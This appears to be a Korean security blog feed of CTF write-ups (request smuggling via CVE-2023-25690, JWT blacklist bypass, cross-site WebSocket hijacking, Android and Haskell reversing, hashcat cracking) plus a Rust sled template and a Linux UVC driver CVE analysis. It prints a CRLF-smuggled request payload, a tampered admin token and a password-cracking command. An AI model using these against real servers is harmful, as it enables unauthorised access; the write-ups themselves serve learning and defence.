A. 아닙니다, 이것은 포트란 언어 자체의 고유한 특징이라기보다는 컴파일(compile) 및 디컴파일(decompile) 과정에서 발생하는 일반적인 현상에 가깝습니다.
A. 이후 상세 설명
# 위 내용은 신뢰성이 매우 떨어져보입니다.

대화 링크

작성자의 글

리버싱 분야는 데이터가 없을 줄 알아 ai에 대한 신뢰도가 바닥이었으나, 생각보다 제대로 해석해주고 있습니다.

참조

대화 링크

[smileyctf2025] Success

Mon, 16 Jun 2025 04:20:00 +0000

배경

smileyCTF 2025 리버싱 Success 문제 풀이입니다.

요약

z3 solver라이브러리를 이용해 방정식 해를 구할 수 있음

문제 상황

다음과 같은 haskell 소스코드가 주어졌습니다.

점수 - 50점, 푼 팀 - 674/1023팀

분석 과정

haskell if문을 복사한 후 편집기에서 정규식을 통해 수정하였습니다.

$\*$ $chars !! (\d+) chars !! (\d+)$ -> flag[$1] * flag[$2]

아래는 문제 해답입니다.

from z3 import *

flag = [BitVec(f"flag_{i}", 32) for i in range(39)]
s = Solver()

s.add(flag[37] * flag[15] == 3366)
s.add(flag[8] + flag[21] == 197)
s.add(flag[8] * flag[13] == 9215)
s.add(flag[0] * flag[3] == 2714)
s.add(flag[3] + flag[21] == 159)
s.add(flag[1] * flag[20] == 5723)
s.add(flag[6] | flag[37] == 105)
s.add(flag[11] * flag[7] == 11990)
s.add(flag[29] & flag[25] == 100)
s.add(flag[16] | flag[29] == 127)
s.add(flag[20] - flag[6] == -8)
s.add(flag[21] + flag[20] == 197)
s.add(flag[2] + flag[36] == 77)
s.add(flag[35] * flag[11] == 3630)
s.add(flag[4] * flag[3] == 2714)
s.add(flag[35] ^ flag[6] == 72)
s.add(flag[25] + flag[24] == 221)
s.add(flag[14] * flag[36] == 3465)
s.add((flag[15] - flag[11]) - 148 == -156)
s.add(flag[37] + flag[17] == 138)
s.add(flag[1] ^ flag[38] == 70)
s.add(flag[9] + flag[29] == 212)
s.add(flag[30] - flag[10] == 7)
s.add(flag[10] + flag[33] == 206)
s.add(flag[7] * flag[15] == 11118)
s.add((flag[28] * flag[14]) * 55 == 641025)
s.add((flag[7] | flag[4]) | 216 == 255)
s.add(flag[24] + flag[4] == 151)
s.add(flag[2] * flag[30] == 4928)
s.add(flag[5] + flag[22] == 224)
s.add(flag[18] | flag[36] == 127)
s.add(flag[13] + flag[34] == 195)
s.add(flag[9] | flag[17] == 111)
s.add(flag[12] * flag[9] == 10403)
s.add(flag[25] ^ flag[27] == 23)
s.add(flag[13] ^ flag[34] == 59)
s.add(flag[18] + flag[31] == 200)
s.add(flag[17] + flag[32] == 213)
s.add(flag[2] * flag[12] == 4444)
s.add(flag[24] * flag[31] == 11025)
s.add(flag[5] * flag[0] == 5658)
s.add((flag[10] + flag[32]) + 228 == 441)
s.add(flag[35] * flag[0] == 1518)
s.add(flag[30] | flag[8] == 113)
s.add(flag[28] - flag[34] == 11)
s.add(flag[26] * flag[14] == 9975)
s.add(flag[31] * flag[22] == 10605)
# s.add((flag[26] * flag[32]) + 239 == 2452140) # 사이즈때문에 맞지 않는듯, 알아볼 수 있어서 수정하지 않음
s.add(flag[28] * flag[38] == 13875)
s.add(flag[18] + flag[16] == 190)
s.add((flag[27] + flag[26]) + 96 == 290)
s.add(flag[22] - flag[38] == -24)
s.add(flag[33] + flag[5] == 224)
s.add(flag[19] * flag[16] == 10355)
s.add(flag[27] + flag[1] == 158)
s.add(flag[33] + flag[12] == 202)
s.add(flag[19] * flag[23] == 10355)

if s.check() == sat:
    m = s.model()
    result = "".join([chr(m[c].as_long()) for c in flag])
    print(f"Flag: {result}")
    # Flag: .;,;.{imagine_if_i_made_it_compiled!!!}

작성자의 글

참조

Rust sled template

Sat, 24 May 2025 19:26:00 +0000

배경

사이드 프로젝트 중 sled 관련 공통 모듈을 만들어 공유하게 되었습니다.

요약

str 및 Uuid를 통해 키 이용 가능

소스 코드

// serde = { version = "1.0.152", features = ["derive"] }
// serde_json = "1.0.91"
// sled = "0.34.7"
// flate2 = "1.1.1"
// uuid = { version = "1.17.0", features = ["fast-rng", "v4"] 
use serde::{Serialize, de::DeserializeOwned};
use sled::IVec;
use std::{io::Write, sync::LazyLock};
use uuid::Uuid;

static DB: LazyLock<sled::Db> = LazyLock::new(|| sled::open("db").unwrap());

pub struct DbRoot;

pub struct DbTree {
    pub inner: sled::Tree,
}

pub trait DbReturnTrait: DbGet + DbRaw {
    fn set<K: TreeKey, I: Serialize + ?Sized, R: DeserializeOwned>(
        &self,
        key: K,
        value: &I,
    ) -> Result<Option<R>, sled::Error> {
        let result = self.set_raw(key, value)?;
        Ok(result.map(|x| inflate_deserialize(&x)))
    }
    fn remove<K: TreeKey, R: DeserializeOwned>(&self, key: K) -> Result<Option<R>, sled::Error> {
        let result = self.remove_raw(key)?;
        Ok(result.map(|x| inflate_deserialize(&x)))
    }
}
pub trait DbTrait: DbGet + DbRaw {
    fn set<K: TreeKey, I: Serialize + ?Sized>(
        &self,
        key: K,
        value: &I,
    ) -> Result<Option<()>, sled::Error> {
        let result = self.set_raw(key, value)?;
        Ok(result.map(|_| ()))
    }
    fn new<I: Serialize + ?Sized>(&self, value: &I) -> Result<Uuid, sled::Error> {
        let key = Uuid::new_v4();
        self.set(key, value)?;
        Ok(key)
    }
    fn remove<K: TreeKey>(&self, key: K) -> Result<Option<()>, sled::Error> {
        let result = self.remove_raw(key)?;
        Ok(result.map(|_| ()))
    }
}
pub trait DbRaw {
    fn set_raw<K: TreeKey, I: Serialize + ?Sized>(
        &self,
        key: K,
        value: &I,
    ) -> Result<Option<IVec>, sled::Error>;
    fn remove_raw<K: TreeKey>(&self, key: K) -> Result<Option<IVec>, sled::Error>;
}
pub trait DbGet {
    fn get<K: TreeKey, R: DeserializeOwned>(&self, key: K) -> Result<Option<R>, sled::Error>;
}

impl DbRoot {
    pub fn get_tree<K: TreeKey>(&self, name: K) -> DbTree {
        DbTree {
            inner: DB.open_tree(name.key()).unwrap(),
        }
    }
    pub fn drop_tree<K: TreeKey>(&self, name: K) -> Result<bool, sled::Error> {
        DB.drop_tree(name.key())
    }
    pub fn flush(&self) -> Result<(), sled::Error> {
        DB.flush().map(|_| ())
    }
}

impl DbRaw for DbRoot {
    fn set_raw<K: TreeKey, I: Serialize + ?Sized>(
        &self,
        key: K,
        value: &I,
    ) -> Result<Option<IVec>, sled::Error> {
        let compressed_data = deflate_serialize(value);
        DB.insert(key.key(), compressed_data)
    }
    fn remove_raw<K: TreeKey>(&self, key: K) -> Result<Option<IVec>, sled::Error> {
        DB.remove(key.key())
    }
}
impl DbGet for DbRoot {
    fn get<K: TreeKey, R: DeserializeOwned>(&self, key: K) -> Result<Option<R>, sled::Error> {
        DB.get(key.key()).map(|x| {
            x.map(|v| inflate(&v))
                .map(|x| serde_json::from_slice(&x).unwrap())
        })
    }
}

impl DbTree {
    pub fn name(&self) -> String {
        str::from_utf8(&self.inner.name()).unwrap().to_string()
    }
    pub fn flush(&self) -> Result<(), sled::Error> {
        self.inner.flush().map(|_| ())
    }
}
impl DbRaw for DbTree {
    fn set_raw<K: TreeKey, I: Serialize + ?Sized>(
        &self,
        key: K,
        value: &I,
    ) -> Result<Option<IVec>, sled::Error> {
        let compressed_data = deflate_serialize(value);
        self.inner.insert(key.key(), compressed_data)
    }
    fn remove_raw<K: TreeKey>(&self, key: K) -> Result<Option<IVec>, sled::Error> {
        self.inner.remove(key.key())
    }
}
impl DbGet for DbTree {
    fn get<K: TreeKey, R: DeserializeOwned>(&self, key: K) -> Result<Option<R>, sled::Error> {
        self.inner.get(key.key()).map(|x| {
            x.map(|v| inflate(&v))
                .map(|x| serde_json::from_slice(&x).unwrap())
        })
    }
}
impl DbTrait for DbRoot {}
impl DbReturnTrait for DbRoot {}
impl DbTrait for DbTree {}
impl DbReturnTrait for DbTree {}

fn inflate_deserialize<T: DeserializeOwned>(data: &[u8]) -> T {
    let decompressed_data = inflate(data);
    serde_json::from_slice(&decompressed_data).unwrap()
}
fn deflate_serialize<T: Serialize + ?Sized>(value: &T) -> Vec<u8> {
    let data = serde_json::to_vec(value).unwrap();
    deflate(&data)
}
fn deflate(data: &[u8]) -> Vec<u8> {
    use flate2::Compression;
    use flate2::write::DeflateEncoder;
    let mut encoder = DeflateEncoder::new(Vec::new(), Compression::default());
    encoder.write_all(data).unwrap();
    encoder.finish().unwrap()
}

fn inflate(data: &[u8]) -> Vec<u8> {
    use flate2::read::DeflateDecoder;
    use std::io::Read;
    let mut decoder = DeflateDecoder::new(data);
    let mut out = Vec::new();
    decoder.read_to_end(&mut out).unwrap();
    out
}

#[test]
fn duplicate_test() {
    let _ = DbTrait::set(&DbRoot, "tree", "asdf").unwrap();
    let _ = DbRoot.get_tree("tree");
    let _ = DbRoot.get_tree("tree");
}

#[test]
fn duplicate_drop() {
    let _ = DbRoot.drop_tree("tree");
    let _ = DbTrait::remove(&DbRoot, "tree");
}

#[test]
fn inspect() {
    println!("Master: {}", str::from_utf8(&DB.name()).unwrap());
    DB.iter().for_each(|item| {
        if let Ok((key, value)) = item {
            println!(
                "Key: {}, Value: {}",
                str::from_utf8(&key).unwrap(),
                str::from_utf8(&inflate(&value)).unwrap()
            );
        }
    });
    let tree_names = DB.tree_names();
    tree_names.iter().for_each(|name| {
        println!("Tree: {}", str::from_utf8(name).unwrap());
        if let Ok(tree) = DB.open_tree(name) {
            tree.iter().for_each(|item| {
                if let Ok((key, value)) = item {
                    println!(
                        "  Key: {}, Value: {}",
                        str::from_utf8(&key).unwrap(),
                        str::from_utf8(&inflate(&value)).unwrap()
                    );
                }
            });
        }
        println!();
    });
}

pub trait TreeKey {
    fn key(&self) -> impl AsRef<[u8]>;
}
impl TreeKey for &str {
    fn key(&self) -> impl AsRef<[u8]> {
        self
    }
}
impl TreeKey for String {
    fn key(&self) -> impl AsRef<[u8]> {
        self
    }
}
impl TreeKey for Uuid {
    fn key(&self) -> impl AsRef<[u8]> {
        self.to_string()
    }
}

작성자의 글

참조

[byuctf2025] Wembsoncket

Thu, 22 May 2025 06:24:00 +0000

배경

BYUCTF 2025 웹해킹 Wembsocket 문제 풀이입니다.

요약

Websocket 연결 시, 서버측에서 어디에서 소켓이 연결되었는지 검사하지 않을 때 하이재킹이 발생할 수 있음.

문제 상황

다음과 같은 챗봇 사이트가 존재했으며

어드민이 /getFlag 명령어 전달 시 플래그를 출력하며

http://...로 시작하는 주소를 입력할 시

puppeteer라이브러리를 통해 해당 사이트에 접속하여 사이트가 연결되는지 확인하는 사이트였습니다.

점수 - 446점, 푼 팀 - 88/894팀

분석 과정

아래는 문제풀이를 위한 시도였습니다.

세션을 공격하거나 프로그램 내부에서 사용되고 있는 puppeteer취약점을 이용해 공격하는것으로 접근해보았습니다.
세션 공격은 verify에서 검증에 실패했습니다.
웹서버에서 사용하던 puppeteer에는 특별한 취약점이 존재하지 않는것같았습니다.

아래는 문제 해답입니다.

사이트 접속시 챗봇에 연결해 `/getFlag`를 전송해 응답을 원하는 곳으로 전송하는 스크립트를 작성해둡니다. (A)
A 사이트를 외부에서 접근 가능하게 노출시켜둡니다.
웹서버 챗봇에 A 사이트에 접근하라고 지시합니다.
웹서버 챗봇이 A 사이트에 접근합니다.
웹서버 챗봇이 A 사이트 스크립트를 실행해, `wembsoncket.chal.cyberjousting.com`사이트의 쿠키를 가지고 챗봇에 연결합니다. (쿠키는 위 소스코드 내부에 설정되어 있습니다.)
어드민의 쿠키를 가지고 있는 챗봇이 `/getFlag`를 실행하여 플래그를 반환합니다.
플래그가 웹훅으로 전송됩니다.

작성자의 글

해당 문제는 대회 당일 해결하지 못해 writeup을 찾아보던 중 풀이를 발견하여 정리하게 되었습니다.

참조

CTF 공식 문제풀이

[byuctf2025] JWTF

Wed, 21 May 2025 06:27:00 +0000

배경

BYUCTF 2025 웹해킹 JWTF 문제 풀이입니다.

요약

유출된 admin의 JWT 토큰이 있었으나, 이는 블랙리스트로 등록되어 있음
JWT 토큰의 특징을 이용해, 같은 값을 가지지만 블랙리스트를 우회함

문제 상황

어드민용 계정에 대한 JWT 토큰 값이 유출되어 있음

유출된 토큰 값에 대한 블랙리스트가 등록되어 있음

JWT 헤더 값의 암호화 기법을 none으로 설정하여 원하는 대로 값을 설정하려 하였으나 불가능하였습니다.

점수 - 434점, 푼 팀 - 97/894팀

분석 과정

서버에서 JWT값을 다음처럼 비교하고 있었습니다.

JWT는 내부적으로 base64UrlEncode을 이용해 값을 해시화 하고 있었습니다.

base64Url은 다음처럼 패딩부분만 +, /에서 url safe한 -, _으로 바뀐 버전이었습니다.

위 코드를 실행해보면 똑같은 값이 출력됩니다.

이를 이용하여 토큰 값의 -, _ 값을 base64의 패딩 값으로 변환하여 블랙리스트를 우회하면서 jwt를 이용할 수 있었습니다.

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhZG1pbiI6dHJ1ZSwidWlkIjoiMTMzNyJ9.BnBYDobZVspWbxu4jL3cTfri_IxNoi33q-TRLbHV-ew
...into...
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhZG1pbiI6dHJ1ZSwidWlkIjoiMTMzNyJ9.BnBYDobZVspWbxu4jL3cTfri_IxNoi33q+TRLbHV+ew

알아낸 내용

PyJWT는 base64 모듈의 urlsafe_b64decode 함수를 이용하여 토큰 값을 디코딩합니다.
base64 모듈의 urlsafe_b64decode 함수는 url based base64든 base64든 모두 디코딩 시 같은 결과를 출력합니다.
토큰 값의 -, _ 값을 base64의 패딩 값으로 변환하여 블랙리스트를 우회하면서 jwt를 이용할 수 있었습니다.

참조

[byuctf2025] Baby Android 2

Tue, 20 May 2025 06:31:00 +0000

배경

BYUCTF 2025 리버싱 Baby Android 2 문제 풀이입니다.

요약

단순 연산 문제입니다.

문제 상황

주어진 apk파일 내부 구조는 위와 같았습니다.

점수 - 61점, 푼 팀 - 248/894팀

분석 과정

기드라로 연 후 export를 보니 다음과 같은 함수가 있었습니다.

파이썬으로 만들어 풀었습니다.

작성자의 글

전 문제와 달리 이번 문제는 dex 복호화가 필요 없어서 푼 사람이 많았나봅니다.

참조

[byuctf2025] Baby Android 1

Tue, 20 May 2025 06:18:00 +0000

배경

BYUCTF 2025 리버싱 Baby Android 1 문제 풀이입니다.

요약

디컴파일은 압축 해제 된 dex파일을 기드라에 넣어서 가능, 혹은 apktool로 디컴파일 후 smail2java등의 툴을 이용해 가능

문제 상황

주어진 apk파일 내부 구조는 위와 같았습니다.

점수 - 241점, 푼 팀 - 191/894팀

분석 과정

classes.dex나 classes2.dex의 파일 크기가 너무 커 안드로이드 기본 클래스 및 코틀린 기본 클래스라고 생각하고 classes3.dex를 보았습니다.

기드라로 디컴파일 후 export 혹은 classes, namespace를 통해 사용자가 작성한 코드를 볼 수 있습니다.

각각 메인 동작 코드와 cleanup 코드입니다.

cleanup코드에서 내부 텍스트를 전부 지우는것으로 보이는데, 어떤 텍스트인지는 보이지 않습니다. xml파일에 기본으로 있을 것으로 예상됩니다.

resources.arsc 파일 복호화가 필요해 apktool을 사용해 다시 디컴파일한 뒤 grep -rnw . -e "flagPart1"을 통해 컴포넌트 xml을 찾았습니다.

xml 파일을 열고 순서대로 입력해보았으나 틀렸습니다. 레이아웃을 이용해 정렬해야 할 듯합니다.

여러가지 온라인 툴을 찾아보았으나 없었고, 계산하기 귀찮아 안드로이드 스튜디오로 직접 그려보았습니다.

작성자의 글

기드라는 압축파일 내부 dex파일을 인식하지 못했습니다.
Baby Android 2문제보다 푼 사람이 적어서 의외였습니다. 안드로이드 스튜디오 설치하기가 귀찮았나봅니다.

참조

[byuctf2025] CVE-2023-25690

Sun, 18 May 2025 14:27:00 +0000

배경

BYUCTF 2025 웹해킹 Willy Wonka Web 문제 풀이입니다.

요약

apache http가 URL 인코딩 된 띄어쓰기를 인식하지 못해, GET이나 POST등의 메소드가 오고 난 뒤 다음 띄어쓰기가 올 때까지의 모든 문자를 경로로 인식하던 취약점

문제 상황

요청 헤더에 a값이 오면 플래그를 출력하는 문제지만, apache http 서버의 RewriteEngine, RewriteRule를 이용해 a헤더를 unset하고 있었습니다.

점수 - 241점, 푼 팀 - 191/894팀

분석 과정

관련 CVE 내용을 확인해보니 apache httpd 2.4.55버전까지 HTTP메소드 이후 캐리지 리턴이 올 때까지 전부 하나의 경로로 인식한다는 내용이 있었습니다.

원하는 요청은 다음과 같았습니다.

GET /name/anything HTTP/1.1
Host: 127.0.0.1
a: admin

해당 요청 GET 이후 부분을 전부 UrlEncoding하여 진행했으나 내부 오류가 계속 났었습니다.

’ ‘ 및 ‘\r\n’만을 UrlEncoding하니 정상적으로 실행되었습니다.

두개 요청을 합쳐야 해서 다음처럼 요청을 보냈습니다.

GET /name/anything HTTP/1.1
Host: 127.0.0.1
a: admin


GET /name/anything HTTP/1.1

이를 두번째 쿼리 HTTP/1.1 부분 앞까지 %20, %0d, %0a로 치환하여 다음처럼 쿼리가 나왔고

GET /name/anything%20HTTP/1.1%0d%0aa:%20admin%0d%0a%0d%0aGET%20/anything HTTP/1.1

위 코드는 apache http 웹서버에서 헤더가 하나도 없는 /name...anything 경로를 가진 GET요청으로 처리가 될 것이며, 백엔드에서는 a: admin헤더를 가진 요청, 헤더 없는 요청, 총 두개로 처리가 됩니다.

다음처럼 코드 실행해 공격 성공했습니다.

작성자의 글

Smuggling 공격 실습을 해보아 재밌었습니다.
소켓 관련 내용을 다루느라 힘들었습니다. 관련 툴을 미리 제작해둬야겠습니다.

참조

dhmosfunk/CVE-2023-25690-POC

Flask session decode

Sun, 18 May 2025 13:25:00 +0000

배경

BYUCTF 2025 웹해킹 문제 해결 시도중 찾아보았습니다.

요약

jwt.io를 이용해 복호화 가능
flask-unsign을 pip에서 받아 복호화 가능, 단 암호화는 브루트포스를 이용한 키가 있어야 한다.

문제 상황

세션 내부 값을 원하는대로 조작하려 하였습니다. 브루트포스 일부 시도중 포기하였습니다.

분석 과정

세션으로 JWT가 들어와서 유명한 JWT.io를 이용해 디코드를 하였습니다. 값 확인엔 성공했지만 원하는대로 수정이 불가능했습니다.

flask-unsign이란 툴로 복호화가 되는지 진행해보았습니다.

알아낸 내용

flask-unsign을 통해 세션 값 재생성 가능. (단 암호를 알 경우만)

참조

해시 원본 값 구하기

Sat, 10 May 2025 11:48:00 +0000

배경

DevSecOps 2025 Password Cracking 문제를 푸는 중 해시 값의 원본 값을 구하는 문제가 있어 요약하였습니다.

요약

Hashcat을 이용해 여러 해시 방법, 암호화 방법에 대한 브루트포싱을 간단하게 할 수 있으며, Gpu 및 Charset, Masking 등의 여러 도구가 들어 있어 브루트포싱할때 유용함
Salt가 없는 md5등의 해시 기법은 인터넷의 데이터베이스 기반 탐색 및 레인보우 테이블을 살펴보자.

문제 상황

주어진 해시에 대한 평문 값을 구하시오.

분석 과정 (뻘짓 과정)

간단하게 md5 attck을 키워드로 검색하여 충돌 공격 및 충돌 공격 기법들에 대해 알아보았습니다.
- 해시 충돌에 대해 알게 되었지만, 문제에 도움되지 않고 정말 많은 시간이 흘렀습니다.
충돌 공격은 원문을 찾는 데 도움이 되지 않는다는 것을 확인하고 데이터베이스 기반 탐색사이트를 찾아다니며 해당 해시를 넣어보았습니다.
Hashcat을 이용해 브루트포싱을 시도하였습니다.
- hashcat -m 0 -a 3 hash.txt -1 ?u?d_ "punk_{?1?1?1?1?1?1?1}" -O 을 인자로, 기본 플래그 틀을 이용해 마스킹한 후 진행하였으나, 잘못된 선택이었습니다.
동시에 레인보우 테이블을 통해 해당 해시를 검색하였습니다.

알아낸 내용

암호문이나 해시 값이 주어질 경우 레인보우 테이블을 먼저 찾아보면 좋다.
Hashcat을 이용해 간단하게 브루트포싱이 가능하다.
https://github.com/corkami/collisions - 해시 충돌 관련 문서
- 위 내용을 이용해 같은 해시를 가진 서로 다른 파일을 만들 수 있다.
- exe파일의 경우, 같은 해시를 가졌지만 전혀 다른 작동을 하는 프로그램을 만들 수 있다.

CVE-2024-53104

Thu, 08 May 2025 00:00:00 +0000

Introduction
Root Cause Analysis
Patch
References

Introduction

CVE-2024-53104는 리눅스 커널의 USB Video Class (UVC) 드라이버에서 비디오 스트리밍 인터페이스 중 디지털 비디오 (digital video, DV) 등을 처리하는 과정에서 발생한 out-of-bound (OOB) 취약점이다[1, 2].

UVC는 USB로 연결된 비디오 장치 (웹캠 등)에 대한 명세로, 리눅스 커널에는 uvcvideo라는 커널 드라이버 모듈로 포함되어 있다. 그리고 DV 포맷은 캠코더 등에 사용되는 비디오 포맷이다[3, 4, 5].

본 글에서는 리눅스 커널 5.15를 기준으로 본 취약점을 살펴볼 것이다.

Root Cause Analysis

리눅스 커널의 UVC 드라이버는 uvc_parse_streaming 함수에서 포맷, 프레임, 인터벌의 개수를 세고 ({1}) 이들을 위한 메모리를 kzalloc 함수로 할당한다 ({2}). 그리고 uvc_parse_format 함수를 호출하여 포맷과 프레임을 파싱한다 ({3}). 이떄 UVC_VS_FORMAT_DV 포맷의 경우에는 포맷 당 더미 프레임 하나만 존재하여 포맷과 프레임의 개수가 같음을 기억하자.

    static int uvc_parse_streaming(struct uvc_device *dev,
                                   struct usb_interface *intf)
    {
        struct uvc_streaming *streaming = NULL;
        struct uvc_format *format;
        struct uvc_frame *frame;
        struct usb_host_interface *alts = &intf->altsetting[0];
        unsigned char *_buffer, *buffer = alts->extra;
        int _buflen, buflen = alts->extralen;
        unsigned int nformats = 0, nframes = 0, nintervals = 0;
        unsigned int size, i, n, p;
        u32 *interval;
        u16 psize;
        int ret = -EINVAL;
    
        /* ... */
    
        /* Skip the standard interface descriptors. */
        while (buflen > 2 && buffer[1] != USB_DT_CS_INTERFACE) {
            buflen -= buffer[0];
            buffer += buffer[0];
        }
    
        if (buflen <= 2) {
            uvc_dbg(dev, DESCR,
                    "no class-specific streaming interface descriptors found\n");
            goto error;
        }
    
        /* Parse the header descriptor. */
        switch (buffer[2]) {
        case UVC_VS_OUTPUT_HEADER:
            streaming->type = V4L2_BUF_TYPE_VIDEO_OUTPUT;
            size = 9;
            break;
    
        case UVC_VS_INPUT_HEADER:
            streaming->type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
            size = 13;
            break;
    
        default:
            uvc_dbg(dev, DESCR,
                    "device %d videostreaming interface %d HEADER descriptor not found\n",
                    dev->udev->devnum, alts->desc.bInterfaceNumber);
            goto error;
        }
    
        p = buflen >= 4 ? buffer[3] : 0;
        n = buflen >= size ? buffer[size-1] : 0;
    
        if (buflen < size + p*n) {
            uvc_dbg(dev, DESCR,
                    "device %d videostreaming interface %d HEADER descriptor is invalid\n",
                    dev->udev->devnum, alts->desc.bInterfaceNumber);
            goto error;
        }
    
        streaming->header.bNumFormats = p;
        streaming->header.bEndpointAddress = buffer[6];
        if (buffer[2] == UVC_VS_INPUT_HEADER) {
            streaming->header.bmInfo = buffer[7];
            streaming->header.bTerminalLink = buffer[8];
            streaming->header.bStillCaptureMethod = buffer[9];
            streaming->header.bTriggerSupport = buffer[10];
            streaming->header.bTriggerUsage = buffer[11];
        } else {
            streaming->header.bTerminalLink = buffer[7];
        }
        streaming->header.bControlSize = n;
    
        streaming->header.bmaControls = kmemdup(&buffer[size], p * n,
                                                GFP_KERNEL);
        if (streaming->header.bmaControls == NULL) {
            ret = -ENOMEM;
            goto error;
        }
    
        buflen -= buffer[0];
        buffer += buffer[0];
    
        _buffer = buffer;
        _buflen = buflen;
    
        /* Count the format and frame descriptors. */
        while (_buflen > 2 && _buffer[1] == USB_DT_CS_INTERFACE) { /* {1} */
            switch (_buffer[2]) {
            case UVC_VS_FORMAT_UNCOMPRESSED:
            case UVC_VS_FORMAT_MJPEG:
            case UVC_VS_FORMAT_FRAME_BASED:
                nformats++;
                break;
    
            case UVC_VS_FORMAT_DV:
                /* DV format has no frame descriptor. We will create a
                 * dummy frame descriptor with a dummy frame interval.
                 */
                nformats++;
                nframes++;
                nintervals++;
                break;
    
            case UVC_VS_FORMAT_MPEG2TS:
            case UVC_VS_FORMAT_STREAM_BASED:
                uvc_dbg(dev, DESCR,
                        "device %d videostreaming interface %d FORMAT %u is not supported\n",
                        dev->udev->devnum,
                        alts->desc.bInterfaceNumber, _buffer[2]);
                break;
    
            case UVC_VS_FRAME_UNCOMPRESSED:
            case UVC_VS_FRAME_MJPEG:
                nframes++;
                if (_buflen > 25)
                    nintervals += _buffer[25] ? _buffer[25] : 3;
                break;
    
            case UVC_VS_FRAME_FRAME_BASED:
                nframes++;
                if (_buflen > 21)
                    nintervals += _buffer[21] ? _buffer[21] : 3;
                break;
            }
    
            _buflen -= _buffer[0];
            _buffer += _buffer[0];
        }
    
        if (nformats == 0) {
            uvc_dbg(dev, DESCR,
                    "device %d videostreaming interface %d has no supported formats defined\n",
                    dev->udev->devnum, alts->desc.bInterfaceNumber);
            goto error;
        }
    
        size = nformats * sizeof(*format) + nframes * sizeof(*frame)
            + nintervals * sizeof(*interval);
        format = kzalloc(size, GFP_KERNEL); /* {2} */
        if (format == NULL) {
            ret = -ENOMEM;
            goto error;
        }
    
        frame = (struct uvc_frame *)&format[nformats];
        interval = (u32 *)&frame[nframes];
    
        streaming->format = format;
        streaming->nformats = nformats;
    
        /* Parse the format descriptors. */
        while (buflen > 2 && buffer[1] == USB_DT_CS_INTERFACE) {
            switch (buffer[2]) {
            case UVC_VS_FORMAT_UNCOMPRESSED:
            case UVC_VS_FORMAT_MJPEG:
            case UVC_VS_FORMAT_DV:
            case UVC_VS_FORMAT_FRAME_BASED:
                format->frame = frame;
                ret = uvc_parse_format(dev, streaming, format,
                                       &interval, buffer, buflen); /* {3} */
                if (ret < 0)
                    goto error;
    
                frame += format->nframes;
                format++;
    
                buflen -= ret;
                buffer += ret;
                continue;
    
            default:
                break;
            }
    
            buflen -= buffer[0];
            buffer += buffer[0];
        }
    
        /* ... */
    }

위 함수에서 uvc_parse_format 함수를 호출하면 이 함수는 포맷을 파싱한 ({4}) 후에 프레임 기술자 (frame descriptor)를 파싱한다 ({5}).

    static int uvc_parse_format(struct uvc_device *dev,
                                struct uvc_streaming *streaming, struct uvc_format *format,
                                u32 **intervals, unsigned char *buffer, int buflen)
    {
        struct usb_interface *intf = streaming->intf;
        struct usb_host_interface *alts = intf->cur_altsetting;
        struct uvc_format_desc *fmtdesc;
        struct uvc_frame *frame;
        const unsigned char *start = buffer;
        unsigned int width_multiplier = 1;
        unsigned int interval;
        unsigned int i, n;
        u8 ftype;
    
        format->type = buffer[2];
        format->index = buffer[3];
    
        switch (buffer[2]) {        /* {4} */
        case UVC_VS_FORMAT_UNCOMPRESSED:
        case UVC_VS_FORMAT_FRAME_BASED:
            /* ... */
            break;
    
        case UVC_VS_FORMAT_MJPEG:
            /* ... */
            break;
    
        case UVC_VS_FORMAT_DV:
            if (buflen < 9) {
                uvc_dbg(dev, DESCR,
                        "device %d videostreaming interface %d FORMAT error\n",
                        dev->udev->devnum,
                        alts->desc.bInterfaceNumber);
                return -EINVAL;
            }
    
            switch (buffer[8] & 0x7f) {
            case 0:
                strscpy(format->name, "SD-DV", sizeof(format->name));
                break;
            case 1:
                strscpy(format->name, "SDL-DV", sizeof(format->name));
                break;
            case 2:
                strscpy(format->name, "HD-DV", sizeof(format->name));
                break;
            default:
                uvc_dbg(dev, DESCR,
                        "device %d videostreaming interface %d: unknown DV format %u\n",
                        dev->udev->devnum,
                        alts->desc.bInterfaceNumber, buffer[8]);
                return -EINVAL;
            }
    
            strlcat(format->name, buffer[8] & (1 << 7) ? " 60Hz" : " 50Hz",
                    sizeof(format->name));
    
            format->fcc = V4L2_PIX_FMT_DV;
            format->flags = UVC_FMT_FLAG_COMPRESSED | UVC_FMT_FLAG_STREAM;
            format->bpp = 0;
            ftype = 0;
    
            /* Create a dummy frame descriptor. */
            frame = &format->frame[0];
            memset(&format->frame[0], 0, sizeof(format->frame[0]));
            frame->bFrameIntervalType = 1;
            frame->dwDefaultFrameInterval = 1;
            frame->dwFrameInterval = *intervals;
            *(*intervals)++ = 1;
            format->nframes = 1;
            break;
    
        case UVC_VS_FORMAT_MPEG2TS:
        case UVC_VS_FORMAT_STREAM_BASED:
            /* Not supported yet. */
        default:
            uvc_dbg(dev, DESCR,
                    "device %d videostreaming interface %d unsupported format %u\n",
                    dev->udev->devnum, alts->desc.bInterfaceNumber,
                    buffer[2]);
            return -EINVAL;
        }
    
        uvc_dbg(dev, DESCR, "Found format %s\n", format->name);
    
        buflen -= buffer[0];
        buffer += buffer[0];
    
        /* Parse the frame descriptors. Only uncompressed, MJPEG and frame
         * based formats have frame descriptors.
         */
        while (buflen > 2 && buffer[1] == USB_DT_CS_INTERFACE &&
               buffer[2] == ftype) { /* {5} */
            frame = &format->frame[format->nframes];
    
            /* ... */
    
            buflen -= buffer[0];
            buffer += buffer[0];
        }
    
        return buffer - start;
    }

이때 위 함수에서 UVC_VS_FORMAT_DV을 파싱할 때는 더미 프레임을 같이 만든다. 그리고 이 포맷은 포맷 당 더미 프레임 하나이므로 (포맷과 프레임의 개수가 같음) 더이상 파싱할 프레임이 없다. 즉, UVC_VS_FORMAT_DV의 경우에는 while 문에 진입하면 안된다는 것이다. 하지만 위 코드에서 while 문의 조건식은 이를 방지하지 못할 수 있다. 그럼 파싱할 프레임이 없음에도 작업을 진행하게 되고 uvc_parse_format 함수의 반환값이 부정확해지게 된다.

Patch

아래 패치를 보면 상기의 UVC_VS_FORMAT_DV를 파싱할 때 ftype 변수를 0으로 초기화한다는 것에서 착안하여 이 경우에는 프레임을 파싱하지 못하도록 (while 문에 진입하지 못하도록) 수정하였음을 알 수 있다[2].

    media: uvcvideo: Skip parsing frames of type UVC_VS_UNDEFINED in uvc_parse_format
    commit ecf2b43018da9579842c774b7f35dbe11b5c38dd upstream.
    
    This can lead to out of bounds writes since frames of this type were not
